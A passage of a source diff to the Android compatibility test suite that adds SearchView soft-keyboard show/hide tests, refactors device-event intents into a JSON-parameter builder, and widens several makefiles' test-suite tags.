+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
import static android.inputmethodservice.cts.DeviceEvent.isFrom;
import static android.inputmethodservice.cts.DeviceEvent.isNewerThan;
import static android.inputmethodservice.cts.DeviceEvent.isType;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.HIDE_SOFT_INPUT;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_CREATE;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_DESTROY;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_FINISH_INPUT;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_START_INPUT;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.SHOW_SOFT_INPUT;
import static android.inputmethodservice.cts.common.ImeCommandConstants.ACTION_IME_COMMAND;
import static android.inputmethodservice.cts.common.ImeCommandConstants.COMMAND_SWITCH_INPUT_METHOD;
import static android.inputmethodservice.cts.common.ImeCommandConstants.EXTRA_ARG_STRING1;
@@ -29,24 +36,29 @@
import static android.inputmethodservice.cts.devicetest.BusyWaitUtils.pollingCheck;
import static android.inputmethodservice.cts.devicetest.MoreCollectors.startingFrom;
+import android.app.Activity;
import android.inputmethodservice.cts.DeviceEvent;
import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType;
+import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventTypeParam;
import android.inputmethodservice.cts.common.Ime1Constants;
import android.inputmethodservice.cts.common.Ime2Constants;
import android.inputmethodservice.cts.common.test.DeviceTestConstants;
import android.inputmethodservice.cts.common.test.ShellCommandUtils;
import android.inputmethodservice.cts.devicetest.SequenceMatcher.MatchResult;
import android.os.SystemClock;
+import android.widget.SearchView;
import android.support.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.Arrays;
+import java.util.List;
import java.util.concurrent.TimeUnit;
import java.util.function.IntFunction;
import java.util.function.Predicate;
import java.util.stream.Collector;
+import java.util.stream.Collectors;
@RunWith(AndroidJUnit4.class)
public class InputMethodServiceDeviceTest {
@@ -136,6 +148,50 @@
"CtsInputMethod1 is uninstalled or disabled, and current IME becomes other IME");
}
+ @Test
+ public void testSearchView_giveFocusShowIme1() throws Throwable {
+ final TestHelper helper = new TestHelper(
+ getClass(), DeviceTestConstants.TEST_SEARCH_VIEW_GIVE_FOCUS_SHOW_IME1);
+
+ helper.launchActivity(DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_ACTIVITY_CLASS);
+ helper.findUiObject(R.id.search_view).click();
+ pollingCheck(() -> helper.queryAllEvents()
+ .collect(startingFrom(helper.isStartOfTest()))
+ .filter(isFrom(Ime1Constants.CLASS).and(isType(SHOW_SOFT_INPUT)))
+ .findAny().isPresent(),
+ TIMEOUT, "CtsInputMethod1.showSoftInput is called");
+ pollingCheck(() -> helper.queryAllEvents()
+ .collect(startingFrom(helper.isStartOfTest()))
+ .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
+ .findAny().isPresent(),
+ TIMEOUT, "CtsInputMethod1.onStartInput is called");
+ }
+
+ @Test
+ public void testSearchView_setQueryHideIme1() throws Throwable {
+ final TestHelper helper = new TestHelper(
+ getClass(), DeviceTestConstants.TEST_SEARCH_VIEW_SET_QUERY_HIDE_IME1);
+
+ final Activity activity = helper.launchActivitySync(
+ DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_ACTIVITY_CLASS);
+ final SearchView searchView = (SearchView) activity.findViewById(R.id.search_view);
+ helper.findUiObject(R.id.search_view).click();
+ // test SearchView.onSubmitQuery() closes IME. Alternatively, onCloseClicked() closes IME.
+ // submits the query, should dismiss the inputMethod.
+ activity.runOnUiThread(() -> searchView.setQuery("test", true /* submit */));
+
+ pollingCheck(() -> helper.queryAllEvents()
+ .collect(startingFrom(helper.isStartOfTest()))
+ .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_FINISH_INPUT)))
+ .findAny().isPresent(),
+ TIMEOUT, "CtsInputMethod1.onFinishInput is called");
+ pollingCheck(() -> helper.queryAllEvents()
+ .collect(startingFrom(helper.isStartOfTest()))
+ .filter(isFrom(Ime1Constants.CLASS).and(isType(HIDE_SOFT_INPUT)))
+ .findAny().isPresent(),
+ TIMEOUT, "CtsInputMethod1.hideSoftInput is called");
+ }
+
/**
* Build stream collector of {@link DeviceEvent} collecting sequence that elements have
* specified types.
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
index a4b1aae..7f6ba2e 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
@@ -20,9 +20,12 @@
import static android.inputmethodservice.cts.DeviceEvent.isType;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.TEST_START;
+import android.app.Instrumentation;
+import android.app.Activity;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
+import android.content.res.Resources;
import android.database.Cursor;
import android.inputmethodservice.cts.DeviceEvent;
import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType;
@@ -54,6 +57,7 @@
private final ContentResolver mResolver;
private final Context mTargetContext;
private final UiDevice mUiDevice;
+ private final Instrumentation mInstrumentation;
/**
* Construct a helper object of specified test method.
@@ -66,7 +70,8 @@
mTestInfo = new TestInfo(testContext.getPackageName(), testClass.getName(), testMethod);
mResolver = testContext.getContentResolver();
mTargetContext = InstrumentationRegistry.getTargetContext();
- mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mUiDevice = UiDevice.getInstance(mInstrumentation);
}
/**
@@ -105,6 +110,22 @@
}
/**
+ * Launch test activity synchronously.
+ *
+ * @param packageName activity's app package name.
+ * @param className activity's class name.
+ * @return instance of Activity
+ */
+ Activity launchActivitySync(final String packageName, final String className) {
+ final Intent intent = new Intent()
+ .setAction(Intent.ACTION_MAIN)
+ .setClassName(packageName, className)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ return mInstrumentation.startActivitySync(intent);
+ }
+
+ /**
* Return all device events as {@link Stream}
* @return {@link Stream<DeviceEvent>} of all device events.
*/
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
index fe67791..6a74124 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
@@ -32,7 +32,7 @@
CtsInputMethodServiceLib
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsInputMethod1
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
index cf9cb37..a371c83 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
@@ -32,7 +32,7 @@
CtsInputMethodServiceLib
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsInputMethod2
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/Android.mk b/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
index 0223d0d..9fdcec6 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
@@ -19,12 +19,13 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_STATIC_JAVA_LIBRARIES := \
android-support-annotations \
+ json \
CtsInputMethodServiceCommon
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsInputMethodServiceLib
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
index b6098f9..ff412ef 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
@@ -17,17 +17,20 @@
package android.inputmethodservice.cts;
import static android.inputmethodservice.cts.common.DeviceEventConstants.ACTION_DEVICE_EVENT;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_PARAMS;
import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_TIME;
import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_TYPE;
import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_SENDER;
import static android.inputmethodservice.cts.common.DeviceEventConstants.RECEIVER_CLASS;
import static android.inputmethodservice.cts.common.DeviceEventConstants.RECEIVER_PACKAGE;
+
import android.content.ContentValues;
import android.content.Intent;
import android.database.Cursor;
import android.inputmethodservice.cts.common.DeviceEventConstants;
import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType;
+import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventTypeParam;
import android.inputmethodservice.cts.common.EventProviderConstants.EventTableConstants;
import android.inputmethodservice.cts.common.test.TestInfo;
import android.inputmethodservice.cts.db.Entity;
@@ -35,8 +38,16 @@
import android.inputmethodservice.cts.db.Table;
import android.os.SystemClock;
import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.text.TextUtils;
import android.util.Log;
+import com.android.json.stream.JsonReader;
+import com.android.json.stream.JsonWriter;
+
+import java.io.IOException;
+import java.io.StringReader;
+import java.io.StringWriter;
import java.util.function.Predicate;
import java.util.stream.Stream;
@@ -51,21 +62,85 @@
public static final Table<DeviceEvent> TABLE = new DeviceEventTable(EventTableConstants.NAME);
+ public static IntentBuilder builder() {
+ return new IntentBuilder();
+ }
+
/**
- * Create an intent to send a device event.
- * @param sender an event sender.
- * @param type an event type defined at {@link DeviceEventType}.
- * @return an intent that has event {@code sender}, {@code type}, time from
- * {@link SystemClock#uptimeMillis()}, and target component of event receiver.
+ * Builder to create an intent to send a device event.
+ * The built intent that has event {@code sender}, {@code type}, {@code paramsString}, time from
+ * {@link SystemClock#uptimeMillis()}, and target component of event receiver.
+ *
*/
- public static Intent newDeviceEventIntent(@NonNull final String sender,
- @NonNull final DeviceEventType type) {
- return new Intent()
- .setAction(ACTION_DEVICE_EVENT)
- .setClassName(RECEIVER_PACKAGE, RECEIVER_CLASS)
- .putExtra(EXTRA_EVENT_SENDER, sender)
- .putExtra(EXTRA_EVENT_TYPE, type.name())
- .putExtra(EXTRA_EVENT_TIME, SystemClock.uptimeMillis());
+ public static final class IntentBuilder {
+ String mSender;
+ DeviceEventType mType;
+ JsonWriter mJsonWriter;
+ StringWriter mStringWriter;
+
+ /**
+ * @param type an event type defined at {@link DeviceEventType}.
+ */
+ public IntentBuilder setType(DeviceEventType type) {
+ mType = type;
+ return this;
+ }
+
+ /**
+ * @param sender an event sender.
+ */
+ public void setSender(String sender) {
+ mSender = sender;
+ }
+
+ public IntentBuilder with(DeviceEventTypeParam eventParam, boolean value) {
+ appendToJson(eventParam, value);
+ return this;
+ }
+
+ public Intent build() {
+ Intent intent = new Intent()
+ .setAction(ACTION_DEVICE_EVENT)
+ .setClassName(RECEIVER_PACKAGE, RECEIVER_CLASS)
+ .putExtra(EXTRA_EVENT_SENDER, mSender)
+ .putExtra(EXTRA_EVENT_TYPE, mType.name())
+ .putExtra(EXTRA_EVENT_PARAMS, getJsonString())
+ .putExtra(EXTRA_EVENT_TIME, SystemClock.uptimeMillis());
+
+ mJsonWriter = null;
+ mStringWriter = null;
+ return intent;
+ }
+
+ private String getJsonString() {
+ if (mJsonWriter == null) {
+ return "";
+ }
+ try {
+ mJsonWriter.endObject();
+ mJsonWriter.flush();
+ } catch (IOException e) {
+ throw new RuntimeException("IntentBuilder.getJsonString() failed.", e);
+ }
+ return mStringWriter.toString();
+ }
+
+ private void appendToJson(DeviceEventTypeParam eventParam, boolean value) {
+ final String key = eventParam.getName();
+ if (TextUtils.isEmpty(key)) {
+ return;
+ }
+ try {
+ if (mJsonWriter == null) {
+ mStringWriter = new StringWriter();
+ mJsonWriter = new JsonWriter(mStringWriter);
+ mJsonWriter.beginObject();
+ }
+ mJsonWriter.name(key).value(value);
+ } catch (IOException e) {
+ throw new RuntimeException("IntentBuilder.appendToJson() failed.", e);
+ }
+ }
}
/**
@@ -93,7 +168,16 @@
"Intent must have " + EXTRA_EVENT_TIME + ": " + intent);
}
- return new DeviceEvent(sender, type, intent.getLongExtra(EXTRA_EVENT_TIME, 0L));
+ String paramsString = intent.getStringExtra(DeviceEventConstants.EXTRA_EVENT_PARAMS);
+ if (paramsString == null) {
+ paramsString = "";
+ }
+
+ return new DeviceEvent(
+ sender,
+ type,
+ paramsString,
+ intent.getLongExtra(EXTRA_EVENT_TIME, 0L));
}
/**
@@ -158,13 +242,21 @@
public final DeviceEventType type;
/**
+ * Event parameters formatted as json string.
+ * e.g. {@link DeviceEventTypeParam#ON_START_INPUT_RESTARTING}
+ */
+ public final String paramsString;
+
+ /**
* Event time, value is from {@link SystemClock#uptimeMillis()}.
*/
public final long time;
- private DeviceEvent(final String sender, final DeviceEventType type, final long time) {
+ private DeviceEvent(
+ final String sender, final DeviceEventType type, String paramsString, final long time) {
this.sender = sender;
this.type = type;
+ this.paramsString = paramsString;
this.time = time;
}
@@ -174,6 +266,37 @@
}
/**
+ * @param eventParam {@link DeviceEventTypeParam} to look for.
+ * @param event {@link DeviceEvent} to look in.
+ * @return Event parameter for provided key. If key is not found in
+ * {@link DeviceEvent#paramsString}, null is returned.
+ *
+ * TODO: Support other primitive and custom types.
+ */
+ @Nullable
+ public static Boolean getEventParamBoolean(
+ DeviceEventTypeParam eventParam, final DeviceEvent event) {
+ StringReader stringReader = new StringReader(event.paramsString);
+ JsonReader reader = new JsonReader(stringReader);
+
+ try {
+ reader.beginObject();
+ while (reader.hasNext()) {
+ String name = reader.nextName();
+ if (name.equals(eventParam.getName())) {
+ Boolean value = reader.nextBoolean();
+ reader.endObject();
+ return value;
+ }
+ }
+ reader.endObject();
+ } catch (IOException e) {
+ throw new RuntimeException("DeviceEvent.getEventParamBoolean() failed.", e);
+ }
+ return null;
+ }
+
+ /**
* Abstraction of device event table in database.
*/
private static final class DeviceEventTable extends Table<DeviceEvent> {
@@ -183,16 +306,19 @@
private final Field SENDER;
private final Field TYPE;
private final Field TIME;
+ private final Field PARAMS;
private DeviceEventTable(final String name) {
super(name, new Entity.Builder<DeviceEvent>()
.addField(EventTableConstants.SENDER, Cursor.FIELD_TYPE_STRING)
.addField(EventTableConstants.TYPE, Cursor.FIELD_TYPE_STRING)
.addField(EventTableConstants.TIME, Cursor.FIELD_TYPE_INTEGER)
+ .addField(EventTableConstants.EXTRAS, Cursor.FIELD_TYPE_STRING)
.build());
SENDER = getField(EventTableConstants.SENDER);
TYPE = getField(EventTableConstants.TYPE);
TIME = getField(EventTableConstants.TIME);
+ PARAMS = getField(EventTableConstants.EXTRAS);
}
@Override
@@ -200,6 +326,7 @@
final ContentValues values = new ContentValues();
SENDER.putString(values, event.sender);
TYPE.putString(values, event.type.name());
+ PARAMS.putString(values, event.paramsString);
TIME.putLong(values, event.time);
return values;
}
@@ -214,6 +341,7 @@
final DeviceEvent event = new DeviceEvent(
SENDER.getString(cursor),
DeviceEventType.valueOf(TYPE.getString(cursor)),
+ PARAMS.getString(cursor),
TIME.getLong(cursor));
builder.accept(event);
if (DEBUG_STREAM) {
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
index 6ae3568..b37873c 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
@@ -16,18 +16,21 @@
package android.inputmethodservice.cts.ime;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.HIDE_SOFT_INPUT;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_CREATE;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_DESTROY;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_FINISH_INPUT;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_FINISH_INPUT_VIEW;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_START_INPUT;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_START_INPUT_VIEW;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.SHOW_SOFT_INPUT;
-import android.content.Intent;
import android.inputmethodservice.InputMethodService;
import android.inputmethodservice.cts.DeviceEvent;
-import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType;
+import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventTypeParam;
import android.inputmethodservice.cts.ime.ImeCommandReceiver.ImeCommandCallbacks;
+
+import android.os.ResultReceiver;
import android.util.Log;
import android.view.inputmethod.EditorInfo;
import android.view.inputmethod.InputConnection;
@@ -42,13 +45,33 @@
new ImeCommandReceiver<>();
private String mLogTag;
+ private class CtsInputMethodImpl extends InputMethodImpl {
+ @Override
+ public void showSoftInput(int flags, ResultReceiver resultReceiver) {
+ sendEvent(DeviceEvent.builder().setType(SHOW_SOFT_INPUT));
+ if (DEBUG) {
+ Log.d(mLogTag, "showSoftInput called");
+ }
+ super.showSoftInput(flags, resultReceiver);
+ }
+
+ @Override
+ public void hideSoftInput(int flags, ResultReceiver resultReceiver) {
+ sendEvent(DeviceEvent.builder().setType(HIDE_SOFT_INPUT));
+ if (DEBUG) {
+ Log.d(mLogTag, "hideSoftInput called");
+ }
+ super.hideSoftInput(flags, resultReceiver);
+ }
+ }
+
@Override
public void onCreate() {
mLogTag = getClass().getSimpleName();
if (DEBUG) {
Log.d(mLogTag, "onCreate:");
}
- sendEvent(ON_CREATE);
+ sendEvent(DeviceEvent.builder().setType(ON_CREATE));
super.onCreate();
@@ -62,8 +85,10 @@
+ " editorInfo=" + editorInfo
+ " restarting=" + restarting);
}
- sendEvent(ON_START_INPUT, editorInfo, restarting);
+ sendEvent(DeviceEvent.builder()
+ .setType(ON_START_INPUT)
+ .with(DeviceEventTypeParam.ON_START_INPUT_RESTARTING, restarting));
super.onStartInput(editorInfo, restarting);
}
@@ -74,7 +99,8 @@
+ " editorInfo=" + editorInfo
+ " restarting=" + restarting);
}
- sendEvent(ON_START_INPUT_VIEW, editorInfo, restarting);
+
+ sendEvent(DeviceEvent.builder().setType(ON_START_INPUT_VIEW));
super.onStartInputView(editorInfo, restarting);
}
@@ -84,7 +110,7 @@
if (DEBUG) {
Log.d(mLogTag, "onFinishInputView: finishingInput=" + finishingInput);
}
- sendEvent(ON_FINISH_INPUT_VIEW, finishingInput);
+ sendEvent(DeviceEvent.builder().setType(ON_FINISH_INPUT_VIEW));
super.onFinishInputView(finishingInput);
}
@@ -94,7 +120,7 @@
if (DEBUG) {
Log.d(mLogTag, "onFinishInput:");
}
- sendEvent(ON_FINISH_INPUT);
+ sendEvent(DeviceEvent.builder().setType(ON_FINISH_INPUT));
super.onFinishInput();
}
@@ -104,13 +130,23 @@
if (DEBUG) {
Log.d(mLogTag, "onDestroy:");
}
- sendEvent(ON_DESTROY);
+ sendEvent(DeviceEvent.builder().setType(ON_DESTROY));
super.onDestroy();
unregisterReceiver(mImeCommandReceiver);
}
+ @Override
+ public AbstractInputMethodImpl onCreateInputMethodInterface() {
+ final CtsInputMethodImpl inputMethod = new CtsInputMethodImpl();
+ if (DEBUG) {
+ Log.d(mLogTag, "onCreateInputMethodInterface");
+ }
+
+ return inputMethod;
+ }
+
//
// Implementations of {@link ImeCommandCallbacks}.
//
@@ -142,10 +178,8 @@
}
}
- private void sendEvent(final DeviceEventType type, final Object... args) {
- final String sender = getClass().getName();
- final Intent intent = DeviceEvent.newDeviceEventIntent(sender, type);
- // TODO: Send arbitrary {@code args} in {@code intent}.
- sendBroadcast(intent);
+ private void sendEvent(final DeviceEvent.IntentBuilder intentBuilder) {
+ intentBuilder.setSender(getClass().getName());
+ sendBroadcast(intentBuilder.build());
}
}
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk b/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
index 03b3946..2261a79 100644
--- a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
@@ -31,7 +31,7 @@
CtsInputMethodServiceLib
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsInputMethodServiceEventProvider
diff --git a/hostsidetests/inputmethodservice/hostside/Android.mk b/hostsidetests/inputmethodservice/hostside/Android.mk
index 19478f1..5ff22a2 100644
--- a/hostsidetests/inputmethodservice/hostside/Android.mk
+++ b/hostsidetests/inputmethodservice/hostside/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsInputMethodServiceHostTestCases
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
index c9b496c..50d5ffe 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
@@ -81,13 +81,7 @@
@Test
public void testUninstallCurrentIme() throws Exception {
- final TestInfo testCreateIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
- DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_CREATE_IME1);
- sendTestStartEvent(testCreateIme1);
- installPackage(Ime1Constants.APK, "-r");
- shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
- shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
- assertTrue(runDeviceTestMethod(testCreateIme1));
+ installAndSetIme1();
final TestInfo testIme1IsNotCurrentIme = new TestInfo(DeviceTestConstants.PACKAGE,
DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_IME1_IS_NOT_CURRENT_IME);
@@ -104,13 +98,7 @@
@Test
public void testDisableCurrentIme() throws Exception {
- final TestInfo testCreateIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
- DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_CREATE_IME1);
- sendTestStartEvent(testCreateIme1);
- installPackage(Ime1Constants.APK, "-r");
- shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
- shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
- assertTrue(runDeviceTestMethod(testCreateIme1));
+ installAndSetIme1();
final TestInfo testIme1IsNotCurrentIme = new TestInfo(DeviceTestConstants.PACKAGE,
DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_IME1_IS_NOT_CURRENT_IME);
@@ -125,6 +113,38 @@
assertNotEquals(newIme, Ime1Constants.IME_ID);
}
+ @Test
+ public void testSearchView_giveFocusShowIme() throws Exception {
+ installAndSetIme1();
+
+ final TestInfo testGiveFocusShowIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
+ DeviceTestConstants.TEST_CLASS,
+ DeviceTestConstants.TEST_SEARCH_VIEW_GIVE_FOCUS_SHOW_IME1);
+ sendTestStartEvent(testGiveFocusShowIme1);
+ assertTrue(runDeviceTestMethod(testGiveFocusShowIme1));
+ }
+
+ @Test
+ public void testSearchView_setQueryHideIme() throws Exception {
+ installAndSetIme1();
+
+ final TestInfo testSetQueryHideIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
+ DeviceTestConstants.TEST_CLASS,
+ DeviceTestConstants.TEST_SEARCH_VIEW_SET_QUERY_HIDE_IME1);
+ sendTestStartEvent(testSetQueryHideIme1);
+ assertTrue(runDeviceTestMethod(testSetQueryHideIme1));
+ }
+
+ private void installAndSetIme1() throws Exception {
+ final TestInfo testCreateIme1 = new TestInfo(DeviceTestConstants.PACKAGE,
+ DeviceTestConstants.TEST_CLASS, DeviceTestConstants.TEST_CREATE_IME1);
+ sendTestStartEvent(testCreateIme1);
+ installPackage(Ime1Constants.APK, "-r");
+ shell(ShellCommandUtils.enableIme(Ime1Constants.IME_ID));
+ shell(ShellCommandUtils.setCurrentIme(Ime1Constants.IME_ID));
+ assertTrue(runDeviceTestMethod(testCreateIme1));
+ }
+
private void sendTestStartEvent(final TestInfo deviceTest) throws Exception {
final String sender = deviceTest.getTestName();
// {@link EventType#EXTRA_EVENT_TIME} will be recorded at device side.
diff --git a/hostsidetests/jdwpsecurity/Android.mk b/hostsidetests/jdwpsecurity/Android.mk
index 3c8ead8..c740f61 100644
--- a/hostsidetests/jdwpsecurity/Android.mk
+++ b/hostsidetests/jdwpsecurity/Android.mk
@@ -26,7 +26,7 @@
LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.host.jdwpsecurity
diff --git a/hostsidetests/jdwpsecurity/app/Android.mk b/hostsidetests/jdwpsecurity/app/Android.mk
index 22f236a..e1523ab 100644
--- a/hostsidetests/jdwpsecurity/app/Android.mk
+++ b/hostsidetests/jdwpsecurity/app/Android.mk
@@ -19,5 +19,5 @@
LOCAL_MODULE := CtsJdwpApp
LOCAL_SRC_FILES := $(call all-subdir-java-files)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/allocation-tracking/Android.mk b/hostsidetests/jvmti/allocation-tracking/Android.mk
index c5619ad..634b0f6 100644
--- a/hostsidetests/jvmti/allocation-tracking/Android.mk
+++ b/hostsidetests/jvmti/allocation-tracking/Android.mk
@@ -18,8 +18,9 @@
LOCAL_MODULE := CtsJvmtiTrackingHostTestCases
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/allocation-tracking/app/Android.mk b/hostsidetests/jvmti/allocation-tracking/app/Android.mk
index 71ab1b5..a5fd7c3 100644
--- a/hostsidetests/jvmti/allocation-tracking/app/Android.mk
+++ b/hostsidetests/jvmti/allocation-tracking/app/Android.mk
@@ -21,7 +21,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/allocation-tracking/jarjar-rules.txt b/hostsidetests/jvmti/allocation-tracking/jarjar-rules.txt
new file mode 100644
index 0000000..072c926
--- /dev/null
+++ b/hostsidetests/jvmti/allocation-tracking/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTestAllocationTracking@1
diff --git a/hostsidetests/jvmti/attaching/Android.mk b/hostsidetests/jvmti/attaching/Android.mk
new file mode 100644
index 0000000..38e1a4f
--- /dev/null
+++ b/hostsidetests/jvmti/attaching/Android.mk
@@ -0,0 +1,17 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
